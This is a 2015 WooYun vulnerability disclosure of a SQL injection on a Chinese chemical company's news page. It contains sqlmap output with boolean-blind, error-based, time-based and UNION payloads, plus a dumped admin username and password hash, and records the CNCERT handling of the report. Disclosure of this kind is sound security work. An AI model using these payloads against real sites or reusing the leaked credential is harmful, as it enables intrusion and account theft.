当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156849

漏洞标题:浙江新和成股份有限公司SQL注射漏洞

相关厂商:浙江新和成股份有限公司

漏洞作者: 万年死宅

提交时间:2015-12-01 01:56

修复时间:2016-01-18 13:40

公开时间:2016-01-18 13:40

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:4

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

sql注射,导致管理员的用户名和密码被爆出

详细说明:

注入点:http://**.**.**.**/news-x.php?tid=174&id=879

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: tid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tid=174 AND 2719=2719&id=879
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: tid=174 AND (SELECT 4122 FROM(SELECT COUNT(*),CONCAT(0x716a6b7a71,(
SELECT (ELT(4122=4122,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHE
MA.CHARACTER_SETS GROUP BY x)a)&id=879
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: tid=174 AND (SELECT * FROM (SELECT(SLEEP(5)))bjQb)&id=879
Type: UNION query
Title: Generic UNION query (NULL) - 23 columns
Payload: tid=-4053 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b7a71,0x4742496b554b736846
71,0x7178627671),NULL,NULL,NULL,NULL,NULL,NULL-- &id=879
---

漏洞证明:

web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0


管理的账号密码:

Database: newhc
Table: hxcms_admin
[1 entry]
+-----------+----------------------------------+
| adminName | adminPassWord |
+-----------+----------------------------------+
| admin | e51433f4efb92a2eb14e1b418a98ccef |
+-----------+----------------------------------+

修复方案:

安装waf

版权声明:转载请注明来源 万年死宅@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-12-04 13:38

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给浙江分中心,由浙江分中心后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价